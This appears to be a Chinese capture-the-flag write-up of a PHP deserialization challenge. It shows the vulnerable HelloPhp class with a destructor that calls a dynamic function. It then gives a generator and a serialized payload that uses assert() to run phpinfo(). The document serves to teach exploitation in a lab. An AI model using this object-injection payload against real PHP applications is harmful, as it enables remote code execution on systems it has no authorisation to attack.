进入靶场
吓我一跳
查看源码
点击
审计
<?php
// 定义一个名为 HelloPhp 的类,该类可能用于执行与日期格式化相关的操作
class HelloPhp
{
// 定义一个公共属性 $a,用于存储日期格式化的模板
public $a;
// 定义一个公共属性 $b,用于存储要调用的函数名
public $b;
// 构造函数,当创建 HelloPhp 类的对象时会自动调用
public function __construct()
{
// 将日期格式化模板 "Y-m-d h:i:s" 赋值给属性 $a
// "Y-m-d h:i:s" 表示年-月-日 时:分:秒 的格式
$this->a = "Y-m-d h:i:s";
// 将 PHP 的日期函数名 "date" 赋值给属性 $b
$this->b = "date";
}
// 析构函数,当对象被销毁时会自动调用
public function __destruct()
{
// 将属性 $a 的值赋给局部变量 $a
$a = $this->a;
// 将属性 $b 的值赋给局部变量 $b
$b = $this->b;
// 调用以 $b 为函数名的函数,并将 $a 作为参数传递给该函数
// 由于 $b 为 "date",$a 为日期格式化模板,所以这里实际上是调用 date 函数进行日期格式化
// 最后将格式化后的日期字符串输出
echo $b($a);
}
}
// 创建一个 HelloPhp 类的对象 $c
$c = new HelloPhp;
// 检查 $_GET 超全局数组中是否存在名为 'source' 的参数
if (isset($_GET['source'])) {
// 如果存在 'source' 参数,则使用 highlight_file 函数高亮显示当前 PHP 文件的源代码
highlight_file(__FILE__);
// 终止脚本的执行,并返回状态码 0
die(0);
}
// 使用 @ 符号抑制可能出现的错误信息
// 尝试对 $_GET 超全局数组中名为 "data" 的参数进行反序列化操作
// 并将反序列化后的结果赋值给变量 $ppp
@$ppp = unserialize($_GET["data"]);
我们需要通过get方式传参给data参数,并进行序列化操作
同时b包括函数名,a包括对应参数
system()
是 PHP 中的一个函数,其作用是执行外部程序,并将执行结果输出
但尝试了不行,换一个
assert()
函数在 PHP 中既可以用于调试和检查条件是否成立,也可以将传入的参数当作 PHP 代码来执行
此处就是利用了他的第二个性质
phpinfo() 函数用于输出 PHP 的配置信息
<?php
class HelloPhp
{
public $a = "phpinfo()";
public $b = "assert";
}
$c = new HelloPhp();
echo serialize($c);
?>
O:8:"HelloPhp":2:{s:1:"a";s:10:"phpinfo()";s:1:"b";s:6:"assert";}